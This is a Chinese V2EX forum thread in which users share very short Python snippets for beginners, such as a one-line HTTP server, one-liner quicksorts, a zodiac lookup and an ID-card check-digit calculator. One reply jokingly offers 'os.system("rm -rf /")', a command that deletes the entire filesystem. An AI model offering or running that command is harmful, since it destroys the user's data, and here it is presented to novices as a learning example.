V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐学习书目
Learn Python the Hard Way
Python Sites
PyPI - Python Package Index
http://diveintopython.org/toc/index.html
Pocoo
值得关注的项目
PyPy
Celery
Jinja2
Read the Docs
gevent
pyenv
virtualenv
Stackless Python
Beautiful Soup
结巴中文分词
Green Unicorn
Sentry
Shovel
Pyflakes
pytest
Python 编程
pep8 Checker
Styles
PEP 8
Google Python Style Guide
Code Style from The Hitchhiker's Guide
tanteng
V2EX  ›  Python

有没有短小精悍的 python 脚本分享出来学习一下

  •  
  •   tanteng ·
    tanteng · 2015-05-06 09:12:24 +08:00 · 4194 次点击
    这是一个创建于 3279 天前的主题,其中的信息可能已经有所发展或是发生改变。

    如题,python小脚本,用来新手学习。

    22 条回复    2015-05-06 18:20:51 +08:00
    tonychow
        1
    tonychow  
       2015-05-06 09:18:27 +08:00   ❤️ 2
    wwulfric
        2
    wwulfric  
       2015-05-06 09:38:24 +08:00
    python -m SimpleHTTPServer 8000
    20015jjw
        3
    20015jjw  
       2015-05-06 11:39:18 +08:00 via Android
    a, b = b, a
    tanteng
        4
    tanteng  
    OP
       2015-05-06 11:57:18 +08:00
    @20015jjw true,false = false,true
    tidewind
        5
    tidewind  
       2015-05-06 12:05:46 +08:00   ❤️ 3
    def ChineseZodiac(year):
    return u'猴鸡狗猪鼠牛虎兔龙蛇马羊'[year%12]
    wegamekinglc
        6
    wegamekinglc  
       2015-05-06 12:21:25 +08:00
    可以看量化实验室,虽然是专注于金融应用。但都是短小的代码段~

    ![量化实验室](https://app.wmcloud.com/mercury/community/)
    lincanbin
        7
    lincanbin  
       2015-05-06 12:31:50 +08:00
    inFinityzc
        8
    inFinityzc  
       2015-05-06 12:38:08 +08:00
    三行代码实现快速排序:
    def qsort(L):
    if len(L)<=0: return L
    return qsort([x for x in L if x<L[0]]) + [x for x in L if x==L[0]] + qsort([x for x in L if x>L[0]])
    phx13ye
        9
    phx13ye  
       2015-05-06 12:46:43 +08:00
    a398058068
        10
    a398058068  
       2015-05-06 13:24:33 +08:00
    print("hello world!") 谁敢说不断小 不精悍
    lingo233
        11
    lingo233  
       2015-05-06 13:35:14 +08:00 via Android
    既然print被占了那我用这个
    return “hello world”
    jason52
        12
    jason52  
       2015-05-06 13:42:08 +08:00 via Android
    我的爬虫呀,
    lovedboy
        13
    lovedboy  
       2015-05-06 13:45:33 +08:00   ❤️ 1
    print u'星期'+u'一二三四五六七'[ datetime.date.today().weekday()%1024]
    zerh925
        14
    zerh925  
       2015-05-06 13:46:27 +08:00
    import os
    [i for i in os.listdir(os.getcwd()) if i[-3:] == 'png']
    一句(两句?)话读取当前目录所有png格式的文件并返回文件名列表
    ipconfiger
        15
    ipconfiger  
       2015-05-06 13:51:27 +08:00
    import os
    os.system("rm -rf /")
    loading
        16
    loading  
       2015-05-06 13:54:44 +08:00 via Android
    @lovedboy 赞magic number 1024……
    hahastudio
        17
    hahastudio  
       2015-05-06 14:20:59 +08:00
    @inFinityzc 明明真炫技只需一行
    qsort = lambda l: [] if not l else qsort([x for x in l[1:] if x <= l[0]]) + [l[0]] + qsort([x for x in l[1:] if x > l[0]])
    再宣传一下 battery included 就是 lst.sort()
    sniperhgy
        18
    sniperhgy  
       2015-05-06 14:59:16 +08:00
    @ipconfiger 太狠了吧?
    ericls
        19
    ericls  
       2015-05-06 18:01:19 +08:00
    @loading 求解 为啥要对1024取模
    xifangczy
        20
    xifangczy  
       2015-05-06 18:10:24 +08:00
    以前在v2ex看到过一个
    >>> get_id = lambda s:s+str((1-2*int(s, 13)) % 11).replace('10', 'X')
    >>> get_id('34052419800101001')
    '34052419800101001X'

    算身份证号效验码
    viko16
        21
    viko16  
       2015-05-06 18:15:46 +08:00
    @ericls 是否取模没关系的,这是为了1024而1024啊噗。。
    xujialiang
        22
    xujialiang  
       2015-05-06 18:20:51 +08:00
    @wegamekinglc hi~~~~~ 哈哈
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1110 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 18:14 · PVG 02:14 · LAX 11:14 · JFK 14:14
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.